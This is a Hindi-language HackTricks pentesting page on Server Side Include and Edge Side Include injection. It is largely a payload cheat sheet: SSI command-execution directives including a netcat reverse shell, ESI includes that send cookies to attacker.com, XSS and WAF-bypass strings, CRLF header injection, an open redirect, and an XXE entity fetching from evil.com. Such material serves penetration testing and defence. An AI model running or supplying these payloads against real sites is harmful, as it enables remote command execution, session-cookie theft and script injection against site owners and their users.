Hindi - Ht

Server Side Inclusion/Edge Side Inclusion Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

सर्वर साइड समावेश मूल जानकारी

(परिचय एपाची डॉक्स से लिया गया)

SSI (सर्वर साइड इंक्लूड) निर्देशिकाएं हैं जो HTML पेज में रखी जाती हैं, और सर्वर पर मूल्यांकन की जाती हैं जब पेज सेवा की जा रही होती हैं। ये आपको मौजूदा HTML पेज में डायनामिक उत्पन्न सामग्री जोड़ने की अनुमति देती हैं, बिना किसी सीजीआई कार्यक्रम या अन्य गतिशील प्रौद्योगिकी के माध्यम से पूरे पेज की सेवा करने की आवश्यकता के बिना। उदाहरण के लिए, आप एक मौजूदा HTML पेज में निर्देशिका डाल सकते हैं, जैसे:

<!--#echo var="DATE_LOCAL" -->

और, जब पेज सेवा की जाती है, यह टुकड़ा मूल्यांकित किया जाएगा और इसके मूल्य से बदल दिया जाएगा:

Tuesday, 15-Jan-2013 19:28:54 EST

SSI का उपयोग कब करना है, और कब किसी कार्यक्रम द्वारा पूरा पेज उत्पन्न करना है, आम तौर पर पेज कितना स्थिर है, और कितना हर बार पेज सेवा किया जाता है, यह एक मामला होता है। SSI एक छोटे टुकड़ों की जानकारी जोड़ने का एक बड़ा तरीका है, जैसे कि वर्तमान समय - ऊपर दिखाया गया है। लेकिन यदि आपके पेज का अधिकांश समय पर सेवा किया जा रहा है, तो आपको किसी अन्य समाधान की तलाश करनी चाहिए।

आप SSI की मौजूदगी का अनुमान लगा सकते हैं अगर वेब एप्लिकेशन फ़ाइलों का उपयोग करती है जिनमें एक्सटेंशन हैं ** .shtml, .shtm या .stm**, लेकिन यह केवल एक मामला नहीं है।

एक सामान्य SSI अभिव्यक्ति का निम्नलिखित प्रारूप होता है:

<!--#directive param="value" -->

जाँच

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

एक समस्या है जानकारी कैशिंग या गतिशील एप्लिकेशन के रूप में, क्योंकि सामग्री का हिस्सा भविष्य में भिन्न हो सकता है जब सामग्री को पुनः प्राप्त किया जाता है। यह है जिसके लिए ESI का उपयोग किया जाता है, ESI टैग का उपयोग करके गतिशील सामग्री को सृजित करने की आवश्यकता को इंडिकेट करने के लिए। अगर हमलावर किसी भी तरह से कैश सामग्री में एक ESI टैग इंजेक्ट कर सकता है, तो, उसे संभावित हो सकता है कि वह उपयोगकर्ताओं को भेजने से पहले दस्तावेज़ पर अर्बिट्रेरी सामग्री इंजेक्ट कर सकता है।

ESI Detection

निम्नलिखित हेडर एक सर्वर से प्रतिक्रिया में यह दिखाता है कि सर्वर ESI का उपयोग कर रहा है:

Surrogate-Control: content="ESI/1.0"

यदि आप इस हैडर को नहीं ढूंढ पा रहे हैं, तो सर्वर शायद ESI का उपयोग कर रहा हो। एक अंधा शोषण दृष्टिकोण भी उपयोग किया जा सकता है क्योंकि एक अनुरोध हमलावर के सर्वर पर पहुंचना चाहिए:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI शोषण

GoSecure ने एक तालिका बनाया था ताकि हम समझ सकें कि विभिन्न ESI-सक्षम सॉफ्टवेयर के खिलाफ हम किस प्रकार के हमले कर सकते हैं, जो उनकी समर्थन की आधार पर निर्भर करता है:

  • Includes: <esi:includes> निर्देशिका का समर्थन करता है

  • Vars: <esi:vars> निर्देशिका का समर्थन करता है। XSS फ़िल्टर को छलने के लिए उपयुक्त है

  • Cookie: दस्तावेज़ कुकी ESI इंजन के लिए पहुंचनीय हैं

  • Upstream Headers Required: उच्चस्थान एप्लिकेशन ESI वक्तव्यों को प्रसंस्कृत नहीं करेगा जब तक उपस्थित एप्लिकेशन हेडर प्रदान नहीं करता

  • Host Allowlist: इस मामले में, ESI शामिल केवल अनुमति प्राप्त सर्वर होस्ट से संभव हैं, जिससे SSRF, उदाहरण के लिए, केवल उन होस्ट के खिलाफ संभव हैं

सॉफ्टवेयर

Includes

Vars

Cookies

Upstream Headers Required

Host Whitelist

Squid3

हाँ

हाँ

हाँ

हाँ

नहीं

Varnish Cache

हाँ

नहीं

नहीं

हाँ

हाँ

Fastly

हाँ

नहीं

नहीं

नहीं

हाँ

Akamai ESI Test Server (ETS)

हाँ

हाँ

हाँ

नहीं

नहीं

NodeJS esi

हाँ

हाँ

हाँ

नहीं

नहीं

NodeJS nodesi

हाँ

नहीं

नहीं

नहीं

वैकल्पिक

XSS

निम्नलिखित ESI निर्देशिका सर्वर के प्रतिक्रिया में एक अनिश्चित फ़ाइल लोड करेगा

<esi:include src=http://attacker.com/xss.html>

क्लाइंट XSS सुरक्षा को छलकरना

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

कुकी चुराना

  • रिमोट कुकी चुराना

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

  • XSS के माध्यम से HTTP_ONLY कुकी चुराएं उसे प्रतिक्रिया में परावर्तित करके:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

निजी स्थानीय फ़ाइल

इसे "स्थानीय फ़ाइल समावेश" से गलती से न मिलाएं:

<esi:include src="secret.txt">

CRLF

CRLF का पूरा नाम "Carriage Return Line Feed" है।

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

ओपन रीडायरेक्ट

निम्नलिखित उत्तर में Location हेडर जोड़ दिया जाएगा

<!--esi $add_header('Location','http://attacker.com') -->

शीर्षक जोड़ें

  • मजबूर किए गए अनुरोध में शीर्षक जोड़ें

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

  • उत्तर में हैडर जोड़ें (जो "Content-Type: text/json" को छलकरने के लिए उपयोगी है)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF में हेडर जोड़ें (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

अकामाई डीबग

यह जवाब में शामिल डीबग जानकारी भेजेगा:

<esi:debug/>

ESI + XSLT = XXE

डीसीए पैरामीटर के लिए xslt मान निर्दिष्ट करके, eXtensible Stylesheet Language Transformations (XSLT) पर आधारित ESI शामिल करना संभव है। इस समावेशन से HTTP सरोगेट XML और XSLT फ़ाइलें पुनः प्राप्त करता है, जिसमें दूसरे को फ़िल्टर करता है। ऐसी XML फ़ाइलें XML External Entity (XXE) हमलों के लिए उपयोगी होती हैं, जो हमलावरों को SSRF हमले को क्रियान्वित करने की अनुमति देती हैं। हालांकि, इस दृष्टिकोण की उपयोगिता सीमित है क्योंकि ESI पहले से ही एक SSRF वेक्टर के रूप में काम करते हैं। अंडरलाइंग Xalan पुस्तकालय में समर्थन की अभाव के कारण, बाह्य DTD प्रसंस्करण नहीं होता, स्थानीय फ़ाइल निकालने को रोकते हुए।

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT फ़ाइल:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

एक्सएसएलटी पेज की जाँच करें:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

संदर्भ

ब्रूट-फोर्स पहचान सूची

LogoAuto_Wordlists/ssi_esi.txt at main · carlospolop/Auto_WordlistsGitHub
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

PreviousSAML BasicsNextSQL Injection

Last updated